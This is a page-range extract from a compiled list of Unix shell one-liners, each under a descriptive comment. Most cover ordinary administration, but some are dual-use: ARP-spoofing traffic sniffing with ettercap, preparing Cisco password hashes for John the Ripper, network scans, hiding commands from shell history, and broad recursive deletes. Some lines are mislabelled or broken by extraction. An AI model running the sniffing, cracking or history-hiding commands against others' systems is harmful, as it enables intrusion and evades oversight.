if tmux has; then tmux attach -d; else tmux new; fi
# Netstat List out Remote IP's Connected to Server Only
netstat -tn | awk '{print $5}' | egrep -v '(localhost|\*\:\*|Address|and|servers|fff|
127\.0\.0)' | sed 's/:[0-99999999].*//g'
# List user processes with their memory usage and total usage.
ps -u marcanuy -o pid,rss,command | awk '{print $0}{sum+=$2} END {print "Total", sum/1024,
"MB"}'
# find svn uncommitted files and list their properties
for d in `ls -d *`; do svn status $d | awk '{print $2}'; done | xargs ls -l {} \;
# Convert HTML file into valid XML
tidy -asxhtml -numeric < index.html > index.xml
# Do a search-and-replace in a file after making a backup
for file in <filename>; do cp $file{,.bak} && sed 's/old/new/g' $file.bak > $file; done
# Triangular Number
echo $(echo $(seq $MIN $MAX) | sed 's/ /+/g') | bc -l
# floating point operations in shell scripts
exp="(2+3.0)/7.0*2^2"; val=$(awk "BEGIN {print $exp}" /dev/null)
# Which machine have I logged in from?
TTY=$(tty | cut -c 6-);who | grep "$TTY " | awk '{print $6}' | tr -d '()'
# Find and remove files
find / -name core | xargs /bin/rm -f

419 / 658

All UNIX COMMANDS


# Find C/C++ source code comments
perl -ne 'print if m{\Q/*\E}x .. m{\Q*/\E}x or m{\/\/}x' *.c
# Sniff who are using wireless. Use wireshark to watch out.pcap :]
sudo ettercap -T -w out.pcap -i wlan0 -M ARP // //
# Tar Pipe
(cd src && tar -cf - .) | (cd dest && tar -xpf -)

# Cat(print) and sort all IPs from file


cat /file/way/somelogforexample | grep -o "[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\
{1,3\}" | sort -n | uniq -c | sort -n
# Render man page in *temporary* PDF (works in Gnome)
man -t man | ps2pdf - temp.pdf; evince temp.pdf &> /dev/null &; sleep 3; rm temp.pdf
# Universal archive extractor
atool -x filename
# from within vi, sort a block of IP addresses (ascending, removing duplicates)
!}sort -nut. -k 1,1 -k 2,2 -k 3,3 -k 4,4
# Get the UTC offset
date +%:z
# VPN without VPN: Get access to networks available from your ssh server and hide behind it
sshuttle -r <username>@<sshserver> 0/0
# Remove all message queues owned by user foo
ipcs -q | grep foo | awk '{print $2}' | xargs -I ipcid ipcrm -q ipcid
# Create backup copy of file and keep modified date and time
cp -p file.txt{,.bak}
# add line number for each line
cat -n file.txt
# get time in other timezones
tzwatch
# Simple Comment an entire file
sed -i 's/^/#/' FILENAME
# Changing the terminal title to the last shell command
[[ "x$TERM" == "xrxvt" || "x$XTERM_VERSION" == xXTerm* || "x$COLORTERM" == 'gnome-terminal'
&& "x$SHELL" == */bin/zsh ]] && preexec () { print -Pn "\e]0;$1\a" }
# Show a Package Version on Debian based distribution
aptitude -F '%p %v#' search <pattern>
# Retrieve the final URL after redirect
curl $URL -s -L -o /dev/null -w '%{url_effective}'
# remove a directory filled with too many files
find /SOME/PATH -type f -execdir rm -f {} \+
# Getting a list of active addresses in your own network.

420 / 658

All UNIX COMMANDS


nmap -n -sP -oG - 10.10.10.*/32 | grep ": Up" | cut -d' ' -f2
# Check the status of a network interface
for i in `ls /sys/class/net/`; do echo $i: `cat /sys/class/net/$i/operstate`; done
# enable all bash completions in gentoo
for i in `eselect bashcomp list | awk '{print $2}'`; do eselect bashcomp enable $i; done
# Display the format of a directory or file
stat -f -L -c %T YOUR_FILE_OR_DIRECTORY
# find an unused unprivileged TCP port
port=32768; while netstat -atn | grep -q :$port; do port=$(expr $port + 1); done; echo $port
# Count lines of code across multiple file types, sorted by least amount of code to greatest
find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) | xargs wc -l | sort -n
# Get all links of a website
dog --links "http://www.domain.com"
# tar's and moves all contents of current directory to target dir
tar cf - . |(cd /targetdir; tar xvf -)
# GNU screen internal console
rlwrap -S "$STY> " sh -c 'while read; do screen -S "'"$STY"'" -X $REPLY; done'
# Create a new image with specified size and bg color
convert -size 100x100 xc:grey nopic100_100.jpg

# remove old index.html if you download it again and organiaz the java script tag on the
file index.html
rm index.html | wget www.google.com;cat index.html | sed 's/<script>/\n\n\<script>\n\n/g' |
sed 's/<\/script>/>\n\n/g'
# Force delete of Google Chrome Google-related local storage, make Gmail Offline work again
/bin/rm -f ~/Library/Application\ Support/Google/Chrome/Default/Local\ Storage/*google*
# Quick and dirty list of installed packages on deb based system
apt-cache -n dumpavail | grep 'Package:' | awk '{print $2 }'
# Remove all installed packages from a python virtualenv
for i in $(pip freeze | awk -F== '{print $1}'); do pip uninstall $i; done
# strace -T -f -p <PID>
Show syscalls for parent and all child threads with execution time
# remove comments from xml
cat <filename> | perl -e '$/ = ""; $_ = <>; s/<!--.*?-->//gs; print;'
# recursive grep of text files
grep -Ir foo *
# generate the moduli file for openssh if lost
ssh-keygen -G /tmp/moduli-2048.candidates -b 2048
# OSX Expand URL and Copy to Clipboard
function expand_url() {
curl -sI $1 | grep Location: | cut -d " " -f 2 | tr -d "\n" |
pbcopy }

421 / 658

All UNIX COMMANDS


# Do stuff on disk more quickly
eatmydata disk_thrashing_command
# Dump an aspell dictionary as a word list
aspell -d en dump master | aspell -l en expand > words
# search in all cpp / hpp files using egrep
find . \( -name "*cpp" -o -name "*hpp" \) -exec grep -Hn -E "043[eE]|70[Dd]7" \{\} \;
# Retrieve Plesk 10+ admin password
/usr/local/psa/bin/admin --show-password
# List process ids (including parent and child process) of a process given its name. Similar
to pgrep
export proc=chrome && ps aux | grep $proc | grep -v grep |awk '{print $2}'
# Get eth0 ip
ip addr show dev eth0 | awk '/inet/ {sub(/\//, " "); print $2}'
# Slow Viber.exe wine process to 1% CPU with Python to split ps string and cpulimit
python -c "a='$(ps -u luke | grep Viber.exe)';b= a.split(' ')[1];import
os;os.system('cpulimit -l 1 -p '+b)"
# Make a folder and everything in it world-viewable
find . -exec chmod o+rx {}\;
# automatically add and remove files in subversion
svn st | grep '^\?' | awk '{print $2}' | xargs svn add; svn st | grep '^\!' | awk '{print
$2}' | xargs svn rm
# what?s running on a given port on your machine?
lsof -i -n -P | grep :80
# Manage "legacy" service run control links
sudo find /etc/rc{1..5}.d -name S99myservice -type l -exec sh -c 'NEWFN=`echo {} | sed
's/S99/K99/'` ; mv -v {} $NEWFN' \;
# generate random mac address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1|sed '2d;s/0000000 *//;s/
/:/g;s/::*$//'
# Find the biggest files
find -type f | xargs -I{} du -sk "{}" | sort -rn | head
# Figure out what shell you're running
ps -o comm= -p $$
# Get status of LXC
lxc-ls | sort -u | xargs -i sudo lxc-info -n {}
# Generate Random Text based on Length
genRandomText() { x=({a..z}); for(( i=0; i<$1; i++ )); do printf ${x[$((RANDOM%26))]}; done;
printf "\n"; }

# List the size (in human readable form) of all sub folders from the current location
du -hs * | sort -h

422 / 658

All UNIX COMMANDS


# Extract list of packages installed on one server and generate 'apt' command to install
them on a new server
dpkg --list | rgrep ii | cut -d" " -f3 | sed ':a;N;$!ba;s/\n/ /g' | sed 's/^\(.\)/apt-get
install \1/'
# ls output with mode in octal
perl -e 'printf "%o\n", (stat shift)[2]&07777' file
# Format a password file for John the Ripper from Cisco configs (Level 5)
sed -n 's/[ :]/_/g; s/^\(.\{1,\}\)_5_\($1$[$./0-9A-Za-z]\{27,31\}\)_*$/\1:\2/p' < ciscodevice-config > passwd
# Enable Basic Security Mode (BSM) Auditing --Solaris
/etc/security/bsmconv
# Start a vnc session on the currently running X session
x0vnc4server -display :0 -PasswordFile ~/.vnc/passwd
# get daily wizard of id comic
curl -o id.gif `date +http://d.yimg.com/a/p/uc/%Y%m%d/largeimagecrwiz%y%m%d.gif`
# get the result of database query in vertical way (Column=Value)
vsqlplus "SELECT * FROM TABLE_NAME;"
# Using associative array to remove all files and directories under PWD except "$1", "$2",
"$3",..."$n"
rmall_but() { declare -A keep;for arg;do keep[${arg%/}]=1;done;for file in *;do [[ $
{keep[$file]} ]] || rm -rf "$file";done; }
# Tree based ps view "painted" by ccze
alias cps="ps -u root U `whoami` --forest -o pid,stat,tty,user,command |ccze -m ansi"
# Quick and dirty recursive directory comparison
ls -Rl dir1/ > /tmp/dir1.ls; ls -Rl dir2/ > /tmp/dir2.ls; meld /tmp/dir1.ls /tmp/dir2.ls
# Rename files with unique, randomly generated file names
for i in *.txt; do j=`mktemp | awk -F. '{print $2".txt"}'`; mv "$i" "$j"; done
# Kill all processes belonging to a user
ps wwwwuax|awk '/command/ { printf("kill -9 %s\n",$2) }'|/bin/sh
# Create etags file of .c, .cpp, and .h files in all subdirectories
find . -regex ".*\.[cChH]\(pp\)?" -print | etags # get your terminal back after it's been clobbered
reset
# Download entire commandlinefu archive to single file
for x in `jot - 0 \`curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All
commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1\` 25`; do curl
"http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done >a.txt
# orderly shutdown system and reboot.
shutdown -r now
# Watch netstat output every 2 seconds
watch -n 2 netstat -antu
# find all symlinks to a file
find -L / -samefile path/to/foo.txt

423 / 658

All UNIX COMMANDS


# Random (sfw, 1920x1080) wallpaper from wallbase.cc
wget --no-use-server-timestamps $(curl $(curl
http://wallbase.cc/random/23/eqeq/1920x1080/0/100/20 | grep 'wallpaper/' | awk -F'"' '{print
$2}' | head -n1) | grep -A4 bigwall | grep img | awk -F'"' '{print $2}'); feh --bg-center $
(ls -1t | head -n1)
# Purge frozen messages in Exim
exipick -zi | xargs --max-args=1000 exim -Mrm
# Validating a file with checksum
[ "c84fa6b830e38ee8a551df61172d53d7" = "$(md5sum myfile | cut -d' ' -f1)" ] && echo OK ||
echo FAIL
# For setting of double keyboard layouts: us, ru, but you can write in phonetic like
www.translit.ru
setxkbmap -layout us,ru -variant basic,phonetic -option -option grp:switch,grp:caps_toggle
# Create a folder but first you can test if it exists
test -d folder || mkdir folder
# Combining video file part downloaded separately using cat command
cat video.avi.001 video.avi.002 video.avi.003 >> video.avi

# create a colorful image


c=blue;convert -size 50x50 xc:$c $c.png; for i in red green yellow; do convert $c.png
-background $i -rotate 20 $i.png; rm $c".png"; c=$i; done; mv $i".png" logo.png; display
logo.png
# print only answer section.
dig +noall +answer exsample.com
# Quick access to ASCII code of a key
man ascii
# Find installed packages in Ubuntu
zgrep --color=always 'get install' /var/log/apt/history.log*
# Get current stable kernel version string from kernel.org
curl -s kernel.org | grep '<strong>' | head -3 | tail -1 | cut -d'>' -f3 | cut -d'<' -f1
# change binary string readable
# strace ... | perl -lne '@F=split(/\\/, $_);for(@F){push @ddd, sprintf("%x", oct("0" .
$_))}END{shift @ddd; print pack("H*", join("", @ddd));}'
# Shows you changes of an RCS file
rcs_changes(){ rcsdiff -y --suppress-common-lines "$1" 2>/dev/null | cut -d'|' -f2; }
# extract XML RSS etc by tags such as <title> or <code> or <description>
curl ${URL} 2>/dev/null|grep "<${BLOCK}>"|sed -e "s/.*\<${BLOCK}\>\(.*\)\<\/$
{BLOCK}\>.*/\1/g"
# Change date from MM/DD/YYYY to YYYY-MM-DD (mysql like)
date -d 09/20/1981 +"%Y-%m-%d"
# bash chop
alias chop="tr -d '\r\n'"

424 / 658

All UNIX COMMANDS


# Diff with colour highlighting
svn diff ARGUMENTS_FOR_DIFF | source-highlight --out-format=esc --src-lang=diff
# Make ABBA better (requires firefox)
wget -O - -q http://www.azlyrics.com/lyrics/abba/takeachanceonme.html | sed -e 's/
[cC]hance/dump/g' > ~/tdom.htm && firefox ~/tdom.htm
# Mirror every lvol in vg00 in hp-ux 11.31
for i in in $(vgdisplay -v vg00 | grep "LV Name" | awk '{ print $3 };'); do; lvextend -m 1
$i /dev/disk/<here-goes-the-disk>; done
# Parse bookmarks and download youtube files
sed 's+href="\([^"]*\)"+\n\1\n+g' bookmarks.html | grep '^http' |clive
# Define dettaching commands in bashrc
__disown(){ local cmd=$1 ; shift ; $cmd "$@" &> /dev/null &disown }; for i in gvim ; do
alias $i="__disown $i"; done
# find out which TCP ports are listening and opened by which process in verbose
netstat -tlvp
# Copy a file over the network with 3 bounces
cat file.orig | ssh user1@host1 "ssh user2@host2 \"ssh user3@server3 'cat >file.dest'\""
# find an unused unprivileged TCP port
netstat -tan | awk '$1 == "tcp" && $4 ~ /:/ { port=$4; sub(/^[^:]+:/, "", port);
used[int(port)] = 1; } END { for (p = 32768; p <= 61000; ++p) if (! (p in used)) { print p;
exit(0); }; exit(1); }'
# Preserve existing aliases on sudo commands
alias sudo='sudo '
# Better git diff, word delimited and colorized
git diff -U10|dwdiff --diff-input -c|less -R
# Convert Ruby 1.8 to 1.9 hash syntax
perl -pi -e 's/:([\w\d_]+)(\s*)=>/\1:/g' **/*.rb
# A simple way find total Memory capacity of the system
echo "Memory:" $(dmidecode --type memory | grep " MB" | awk '{sum += $2; a=sum/1024} END
{print a}') "GB"
# Bashbuiltin printf
cat file.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done
# Return IP Address
ifconfig -a| awk 'BEGIN{FS="[ :]+"} /Bcast/{print $4}'
# Get the state (HTTP code) of a resource from its URL
curl -s -L --head -w "%{http_code}\n" URL | tail -n1

# Converts all jpg files to 75 quality.


find . -type f -name '*.jpg' -exec convert -quality 75 {} {} \;
# Show size of in MB of the current directory.
du -sh `pwd`
# Output specific line in a very big file and exit afterwards

425 / 658

All UNIX COMMANDS


awk 'FNR==100 {print;exit}' file
# Revert all modified files in an SVN repo
svn status | grep "^M" | while read entry; do file=`echo $entry | awk '{print $2}'`; echo
$file; svn revert $file; done
# display the hover text of the most recent xkcd
curl -s 'http://xkcd.com/rss.xml' | xpath '//item[1]/description/text()' 2>&1 | sed -n
's/.*title="\([^"]*\)".*/\1/p' | fold -s
# A command to find and replace text within conf files in a single directory.
find -type f -name '*.conf' -exec sed -Ei 's/foo/bar/' '{}' \;
# A simple way to trace block device to its Parent PCI controller
udevadm info -q all -n /dev/sdb | grep ID_PATH | cut -d'-' -f 2 | xargs -n 1 lspci -s
# Apply, in parallel, a bc expression to CSV
pbc () { parallel -C, -k -j100% "echo '$@' | bc -l"; }
# git merge --dry-run
git merge --no-commit --no-ff
# Extract the daily average number of iops
for x in `seq -w 1 30`; do sar -b -f /var/log/sa/sa$x | gawk '/Average/ {print $2}'; done
# Display a block of text with vim with offset, like with AWK
vim -e -s -c 'g/start_pattern/+1,/stop_pattern/-1 p' -cq file.txt
# list all instances of a file in your PATH directories (without duplicates) in PATH order
function wherepath () { for DIR in `echo $PATH | tr ":" "\n" | awk '!x[$0]++ {print $0}'`;
do ls ${DIR}/$1 2>/dev/null; done }
# show top 10 most memory hungry process with a simple format of (%mem, pid, short command)
ps -eo pmem,pid,comm --no-headers | sort -k1 -rn | head -10
# copy root to new device
rsync -aHux --exclude=/proc/* --exclude=/sys/* /* /mnt/target/
# List services running on each open port
nmap -T Aggressive -A -v 127.0.0.1 -p 1-65000
# Execute a command without saving it in the history
HISTFILE= ; your_secret_command
# Output the latest linux kernel versions from kernel.org
curl 'https://www.kernel.org/kdist/finger_banner'
# Compares two source directories, one original and one post configure and deletes the
differences in the source folder
diff ../source-dir.orig/ ../source-dir.post/ | grep "Only in" | sed -e 's/^.*\:.\
(\<.*\>\)/\1/g' | xargs rm -r
# Returns top ten (sub)directories with the highest number of files
find . -type d | while read dir ; do num=`ls -l $dir | grep '^-' | wc -l` ; echo "$num $dir"
; done | sort -rnk1 | head
# private mode for (bash) shell
alias private_mode='unset HISTFILE && echo -e "\033[1m[\033[0m\033[4m*\033[0m\033[1m] \
033[0m\033[4mprivate mode activated.\033[0m"'

426 / 658

All UNIX COMMANDS


# Exclude dumping of specific tables with same prefix from a single database
mysql -uuser -ppass -e 'use information_schema; SELECT table_name FROM tables where
table_schema="DB-NAME" and table_name NOT LIKE "PREFIX";' | grep -v table_name | xargs
mysqldump DB-NAME -uuser -ppass > dump.sql
# Remove all unused kernels with apt-get
% sudo yum remove streams-$(uname-r)
# git branch point
git merge-base branch1 branch2
# Show hidden files in OS X
defaults write com.apple.Finder AppleShowAllFiles TRUE
# calculate in commandline with bc
echo "1+1" | bc

# Clear iptables rules safely


function clearIptables(){iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P
OUTPUT ACCEPT; iptables -F; iptables -X; iptables -L}
# Short URLs with ur1.ca
ur1() { curl -s --url http://ur1.ca/ -d longurl="$1" | sed -n -e '/Your ur1/!d;s/.*<a
href="\(.*\)">.*$/\1/;p' ; }
# Print repeating CSV values on new lines - normalize repeating fields
echo "LINUX,DIR,FILE1,FILE2,FILE3" | perl -aF, -nle 'my ($fld1, $fld2, @fields) = @F;
while(@fields) { print join ",", $fld1, $fld2, splice(@fields, 0, 1) }'
# Print file list to CSV
dir -C -1 -N -RNCCI /dir/ > file.csv
# Apply only preprocessor for .c file and beautify output
gcc -E code.c | sed '/^\#/d' | indent -st -i2 > code-x.c
# generate a randome 10 character password
head -c7 /dev/urandom|base64|tr -d '='
# diff files ignoring comments and blank lines (lines starting with #)
diff -BI '^#' file{1,2}
# command line calculator (zsh version)
bc <<<"..."
# Check if TCP port 25 is open
nc -zv localhost 25
# For files owned by root only, change ownership to a non-privileged user.
find /path/to/dir -user root -exec chown [nonprivuser] {} \;
# Make sure a script is run in a terminal.
tty > /dev/null 2>&1 || { aplay error.wav ; exit 1 ;}
# Deal with dot files safely
rm -rf .??*
# Recursive script to find all epubs in the current dir and subs, then convert to mobi using
calibre's ebook-convert utility

427 / 658

All UNIX COMMANDS


find $PWD -type d | while read "D"; do cd "$D"; for filename in *.epub;do ebook-convert
"$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle
--linearize-tables --smarten-punctuation --asciiize;done ;done
# Regex or
egrep expr1\|expr2 file
# Print a bar graph
SCALE=3; WIDTHL=10; WIDTHR=60; BAR="12345678"; BAR="${BAR//?/==========}"; while read LEFT
RIGHT rest ; do RIGHT=$((RIGHT/SCALE)); printf "%${WIDTHL}s: %-${WIDTHR}s\n" "$
{LEFT:0:$WIDTHL}" "|${BAR:0:$RIGHT}*"; done < dataset.dat
# Escape forward slashes in a variable
${path//'/'/'\/'}
# Download all MegaTokyo strips
for i in $(seq 1 `curl http://megatokyo.com 2>/dev/null|grep current|cut -f6 -d\"`);do wget
http://megatokyo.com/`curl http://megatokyo.com/strip/${i} 2>/dev/null|grep src=\"strips\/|
cut -f4 -d\"`;done
# Revealing Latitude/Longitude from GNIP Activity Streams Format in Splunk
index=twitter geo.coordinates{}="*"| spath path=geo.coordinates{} output=geocoordinates|
eval latitude=mvindex(geocoordinates,1)| eval longitude=mvindex(geocoordinates,0)
# Remove auxillary files from you LaTeX directory
rm ^*.(tex|pdf)(.)
# Run multiple commands on a remote host with sudo
ssh -t user@host 'sudo bash -c "ls /var/log && cat /etc/passwd"'
# Turn /path/to/dir and subdirectories into a project tree
chgrp -R [projgroup] ; find /path/to/dir -type d -exec chmod g+s {} \;
# alias to show my own configured ip
alias showip="ifconfig eth0 | grep 'inet addr:' | sed 's/.*addr\:\(.*\) Bcast\:.*/\1/'"
# Send Reminders from your Linux Server to Growl on a Mac
remind -z1 -k'echo %s |ssh <user>@<host> "growlnotify"' ~/.reminders &
# Change your swappiness Ratio under linux
echo 50 > /proc/sys/vm/swappiness
# Deal with dot files safely
rm -rf .[!.]*

# crop google's icons


convert -crop 32x33 +repage http://code.google.com/more/more-sprite.png icon.png
# get ip and hostname for this computer
alias me="echo '`ifconfig | grep inet | grep broadcast | awk '{print $2}'`' && uname -n"
# Get the first non-empty line in a text file
grep . "$f" | head -n1
# find all symlinks to a file
find / -lname path/to/foo.txt
# List files containing given search string recursively

428 / 658

All UNIX COMMANDS


find /path/to/dir -type f -print0 | xargs -0 grep -l "foo"
# List Remote Git Branches By Author
48 function gbl() { git for-each-ref --sort=-committerdate --format='%(committerdate) %
(authorname) %(refname)' refs/remotes/origin/|grep -e ".$@"|head -n 10; }
# One liner to check out CLOSE_WAIT and TIME_WAIT connection every five seconds while
debugging network apps
while true; do netstat -a|grep WAIT|wc -l; sleep 5; done
# Use php and md5 to generate a password
echo -n "string" | md5sum|cut -f 1 -d " "
# disable gpu acceleration for google chrome browser
/usr/bin/google-chrome-stable --disable-gpu %U
# Delete all ".svn" directories from current path (recursive)
find . -name ".svn" -exec rm -rf {} \;
# opening your helper script without knowing the path (zsh)
less =rcsyslog
# Copy the directory you want to specify a comma separated list of directories to copy.
cp -arv ~/Documents/{foo,bar} --target-directory=~/buzz/
# Create & transfer tarball over ssh
ssh -c 'tar cvzf - -C /path/to/src/*' | tar xzf # Copy file content to X clipboard
!xclip -i %
# Stop Grooveshark destroying your CPU
sudo cpulimit -e Grooveshark -l 20
# type fortune in real time
fortune | pv -qL 10
# Get disk quota usage openvz using vzlist
vzlist -a -H -o hostname,diskspace,diskspace.s,veid
$2*100/$3, $4, $1}' | sort -r

| awk '{ printf( "%2.f%\t%s\t%s\n"),

# sort a csv file according to a particular n th field numerically (quicker than excel)
sort -t"," -n -k5 file.csv # according to the 5th field NUMERICALLY!!
# monitor the last command run
$ history
# add border to image
convert input.png -mattecolor gold -frame 10x10+5+5 output.png
# Disable rm, use trash instead
alias rm='echo "rm is disabled, use trash or /bin/rm instead."'
# Delete/Archive easily old mails using find.
find . -path ".*/cur/*" -type f ! -newermt "1 week ago" -delete
# scan subnet for used IPs
nmap -T4 -sn 192.168.1.0/24
# Extract audio stream from an video file using mencoder

429 / 658

All UNIX COMMANDS


mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o "${file%.*}.mp3"
# dpkg - undo selection of installed packages for deinstall
dpkg -l | grep ^ri | awk '{print $2 " install"}' | sudo dpkg --set-selections

# Atualizar Ubuntu
apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y && apt-get autoremove -y
&& apt-get autoclean -y
# How to Find the Block Size
/sbin/dumpe2fs /dev/hda2 | grep 'Block size'
# scp a good script from host A which has no public access to host C, but with a hop by host
B
ssh middlehost "ssh -a root@securehost '> nicescript'" < nicescript
# Router discovery
awk 'NR==2 {print $1}' /proc/net/arp
# a simple interactive tool to convert Simplified Chinese (typed by pinyin) to Traditional
Chinese &#31616;&#32321;&#20013;&#25991;&#36716;&#25442;
echo "Simplied Chinese:"; while read -r line; do echo "Traditional Chinese:"; echo $line |
iconv -f utf8 -t gb2312 | iconv -f gb2312 -t big5 | iconv -f big5 -t utf8; done
# showing opened ports on machine
netstat -tulpnc
# SVN Status log to CSV (Mac OSX friendly)
svn log | tr -d '\n' | sed -E 's/-{2,}/\'$'\n/g' | sed -E 's/ \([^\)]+\)//g' | sed -E
's/^r//' | sed -E "s/[0-9]+ lines?//g" | sort -g
# remove border of image
convert input.png -shave 10x10 output.png
# pacman install list of packages
pacman -Q | grep -v pacman | cut -d' ' -f1 > packages.txt && pacman -Sy `cat packages.txt`
--noconfirm
# converts video to ascii art (txt) by mplayer and aa|caca lib
mplayer -vo aa:eight:driver=curses video.avi >video.txt
# Quick syntax highlighting with multiple output formats
pygmentize -l sh ~/.bashrc | less -R
# Find files and list them sorted by modification time
find . -type f -exec stat -f '%m %N' {} \; | sort -n
# Find processes stuck in dreaded
while true; do date; ps auxf | awk '{if($8=="D") print $0;}'; sleep 1; done
# Monitor open connections for httpd including listen, count and sort it per IP
watch "netstat -plan | grep -v LISTEN | grep \":80 \" | awk {'print \$5'} | cut -d: -f 1 |
uniq -c | sort -nk 1"
# View facebook friend list [hidden or not hidden]
php -r "echo ini_get('allow_url_fopen');" php -r "echo function_exists('curl_init');" php -r
"echo function_exists('json_decode');"

430 / 658

All UNIX COMMANDS


# Convert ascii string to hex
echo -n text | hexdump -C
# teatimer
sleep 3m; play bigben.wav
# Sum of the total resident memory Stainless.app is using.
ps -ec -o command,rss | grep Stainless | awk -F ' ' '{ x = x + $2 } END { print x/(1024) "
MB."}'
# Get the title of a youtube video
youtitle(){ GET $1 | grep document.title | sed "s;^.*document.title = '\(.*\)'.*$;\1;"; };
# Watch and keep history of a command
CMD="who";SEC=1;N=0;OLD="";NEW=""; while `sleep $SEC`; do OLD="$NEW"; NEW="$(eval $CMD)";
DIFF=`diff <( echo "$OLD" ) <( echo "$NEW" )`; if [ -n "$DIFF" ]; then date; echo "Diff #$N
(${SEC}s): $CMD"; echo "$DIFF"; fi; N=$[$N+1]; done | tee /tmp/keepr
# create a image matrix
montage *.png -mode concatenate -tile 10x all.png
# anti-spam
date -u +%W$(uname)|sha256sum|sed 's/\W//g'
# Convert flv/mp4 video to ogg/mp3
ffmpeg -i video.flv audio.ogg
# Get last argument of last comman using $_ var
chown davidp:users /some/long/path/file && chmod g+rx $_
# resize all images in folder and create new images (w/o overwriting)
for file in *; do convert $file -resize 800x600 resized-$file; done

# UPS Tracking Script


watch -t -c -n30 'wget -q -O- "http://wwwapps.ups.com/WebTracking/processInputRequest?
TypeOfInquiryNumber=T&InquiryNumber1=1Z4WYXXXXXXXXXX" | html2text | sed -n "/Shipment
Progress/,/Shipping Information/p" | grep -v "*" | ccze -A'
# Find a machine's IP address and FQDN
for i in `ip addr show dev eth1 | grep inet | awk '{print $2}' | cut -d/ -f1`; do echo -n
$i; echo -en '\t'; host $i | awk '{print $5}'; done
# Empty a file
for file in `ls *.log`; do `:> $file`; done
# quickly backup or copy a file with bash
cp filename{,.`date +%Y%m%d-%H%M%S`}
# Disable Mac OS X Dashboard
defaults write com.apple.dashboard mcx-disabled -boolean YES; killall Dock
# Run gunzipped sql file in PostGres, adding to the library since I couldnt find this
command anywhere else on the web.
gzip -dc /tmp/pavanlimo.gz | psql -U user db
# Return IP Address
perl -e '$_=`ifconfig eth0`;/\d+.\d+.\d+.\d+ /; print $&,"\n";'

431 / 658

All UNIX COMMANDS


# print the first line of every file which is newer than a certain date and in the current
directory
find . -type f -newer 201011151300.txt -exec head -1 {} \;
# md5 checksum check
digest -a -v md5 <file-name>
# Python virtual-env creation
$sudo aptitude install python-virtualenv; virtualenv --no-site-packages jpaenv; source
jpaenv/bin/activate
# CPU Frequency/Speed Set
sudo cpupower frequency-set -g <frequency governor>
# Screencast of your PC Display with webm output
avconv -v warning -f alsa -ac 2 -i default -f x11grab -r 15 -s wxga -i :0.0 -acodec
libvorbis -ab 320k -vcodec libvpx -qmax 2 -qmin 1 -threads auto -y -metadata title="Title
here" ~/Video/AVCONV_REG.webm
# Remove all older kernels then the current running kernel for Ubuntu/Debian base system
export KEEP_KERNEL=2; dpkg -l 'linux-image*' | awk '/^ii/ { print $2 }' | grep "[0-9]" | awk
'BEGIN{i=1}{print i++, $0}' | grep `uname -r` -B99 | sort -r | tail -n+$(($KEEP_KERNEL+2)) |
awk '{print $2}'| xargs apt-get -y purge
# Generate a Random Password
dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev
# Determine what process is listening on a port on Solaris, without lsof
for x in `ptree | awk '{print $1}'`; do pfiles $x | grep ${PORT} > /dev/null 2>&1; if
[ x"$?" == "x0" ]; then ps -ef | grep $x | grep -v grep; fi; done 2> /dev/null
# resolve hostname to IP our vice versa with less output
hostresult=$(host -t A www.example.com); echo "${hostresult##* }"
# find something
find $SDIR -name '${f}.*' -mtime +$n -maxdepth 1 | xargs -n 10 rm -vf
# CPU Frequency/Speed/Clock Information
cpupower frequency-info
# Count total number of subdirectories in current directory starting with specific name.
ls -d1 pattern*/ | wc -l
# ls sort by human readable size (redhat)
ls -lSr
# Get IP address from domain
host example.com | head -1 | awk '{print $4}'
# Kill all processes found in grep
for line in `ps aux | grep <string> | awk '{print $2}'`; do sudo kill $line; done;
# Dynamic Range in Bash
$(eval "echo {${min}..${max}}")
# Set date and time
sudo date -s "26 OCT 2008 19:30:00"
# Get last changed revision to all eclipse projects in a SVN working copy

432 / 658

All UNIX COMMANDS


find . -iname ".project"| xargs -I {} dirname {} | LC_ALL=C xargs -I {} svn info {} | grep
"Last Changed Rev\|Path" | sed "s/Last Changed Rev: /;/" | sed "s/Path: //" | sed '$!
N;s/\n//'

# List of commands you use most often


history | awk '{a[$'$(echo "1 2 $HISTTIMEFORMAT" | wc -w)']++}END{for(i in a){print a[i] " "
i}}' | sort -rn | head
# run complex remote shell cmds over ssh, without escaping quotes
perl -e 'system @ARGV, <STDIN>' ssh host -l user < cmd.txt
# Rename files in a directory in an edited list fashion
exec 3<&0; ls -1N | while read a; do echo "Rename file: $a"; read -e -i "$a" -p "To: " b <&3
; [ "$a" == "$b" ] || mv -vi "$a" "$b"; done
# Recursive script to find all epubs in the current dir and subs, then convert to mobi using
calibre's ebook-convert utility
find . -name '*.epub' -exec sh -c 'a={}; ebook-convert $a ${a%.epub}.mobi --still --more
--options' \;
# Manual CPU Frequency/Speed/Clock Set
sudo cpupower frequency-set -f <frequency in MHz>
# Resize images with mogrify with lots of options
find . -name '*.jpg' -o -name '*.JPG' -print0 | xargs -0 mogrify -resize 1024">" -quality 40
# Generate an XKCD #936 style 4 word password
shuf /usr/share/dict/words |grep "^[^']\{3,6\}$" |head -n4 | sed -e "s/\b\(.\)/\u\1/g" | tr
-d '\n'; echo
# Insert line(s) at top of file using sed
sed -i '1iI am a new line' file.txt
# (Inside of a shell script) Make executable a BeanShell script under Linux/Cygwin
///bin/true; exec java bsh.Interpreter "$0" "$@"
# catch all the txt files into a start_dir tree and copy them into a single end_dir
find start_dir -name *.txt | xargs -J % cp % end_dir/
# Picture Renamer
ls -1 *.jpg | while read fn; do export pa=`exiv2 "$fn" | grep timestamp | awk '{ print $4 "
" $5 ".jpg"}' | tr ":" "-"`; mv "$fn" "$pa"; done
# Disable bluetooth on your laptop to save battery
rfkill block bluetooth
# print line and execute it in BASH
set -x
# Reading my nic's mac address
ifconfig eth3|sed 's/^eth3.*HWaddr //;q'
# Quick and dirty version control for one file
